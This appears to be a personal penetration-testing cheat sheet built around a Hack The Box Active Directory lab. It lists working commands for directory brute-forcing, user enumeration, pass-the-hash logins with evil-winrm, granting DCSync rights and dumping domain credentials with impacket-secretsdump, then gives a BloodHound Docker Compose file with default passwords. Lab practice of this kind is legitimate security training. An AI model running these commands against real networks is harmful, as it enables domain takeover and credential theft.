Category: TOOLS

Directories

dirb http://10.10.10.10

dirb http://10.10.10.10 wordlist.txt

dirb http://10.10.10.10 -X .php,.js

Enumerate users

enum4linux -U 10.129.95.210

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --rid-brute # can be anonymous

WinRM connect

Password:
evil-winrm -u svc-alfresco -p s3rvice -i 10.129.95.210

Pass the Hash (ntlm hash):
evil-winrm -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6 -i 10.129.95.210

Add users, groups, etc.

Active Directory:
net group "groupname" /domain
net group "groupname" "username" /add /domain
net user
net share
net localgroups

DC Sync

Activate rights:
bloodyAD --host 10.129.95.210 -d htb.local -u svc-alfresco -p s3rvice add dcsync svc-alfresco

Dump credentials over the network:
impacket-secretsdump -just-dc-ntlm 'htb.local'/'svc-alfresco':'s3rvice'@'10.129.95.210'

Bloodhound

bloodhound-python -c all -u 'svc-alfresco' -p s3rvice -d htb.local -dc forest.htb.local -gc forest.htb.local -ns 10.129.95.210

This page will describe how to set-up and use bloodhound.

Bloodhound docker compose

services:
  app-db:
    image: postgres:16
    container_name: bloodhound-postgres
    environment:
      POSTGRES_USER: bloodhound
      POSTGRES_PASSWORD: bloodhoundcommunityedition
      POSTGRES_DB: bloodhound
    volumes:
      - ./postgres-data:/var/lib/postgresql/data
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U bloodhound -d bloodhound -h 127.0.0.1 -p 5432 || exit 1"]
      interval: 10s
      timeout: 5s
      retries: 10
      start_period: 30s

  graph-db:
    image: neo4j:4.4
    container_name: bloodhound-neo4j
    environment:
      NEO4J_AUTH: neo4j/bloodhoundcommunityedition
      NEO4J_dbms_allow__upgrade: "true"
    ports:
      - "127.0.0.1:7687:7687"
      - "127.0.0.1:7474:7474"
    volumes:
      - ./neo4j-data:/data
      - ./neo4j-logs:/logs
      - ./neo4j-import:/var/lib/neo4j/import
      - ./neo4j-plugins:/plugins
    healthcheck:
      test: ["CMD-SHELL", "wget -qO- http://localhost:7474 >/dev/null 2>&1 || exit 1"]
      interval: 10s
      timeout: 5s
      retries: 10
      start_period: 30s

  bloodhound:
    image: specterops/bloodhound:latest
    container_name: bloodhound-app
    environment:
      bhe_disable_cypher_qc: "false"
      bhe_database_connection: "user=bloodhound password=bloodhoundcommunityedition dbname=bloodhound host=app-db"
      bhe_neo4j_connection: "neo4j://neo4j:bloodhoundcommunityedition@graph-db:7687/"
    ports:
      - "8080:8080"
    depends_on:
      app-db:
        condition: service_healthy
      graph-db:
        condition: service_healthy
    volumes: []   # <- expliciet lege lijst; voorkomt jouw foutmelding
    restart: unless-stopped

Offcourse its generated by chatgpt, but this was no easy feat due to changes in the dependency structure.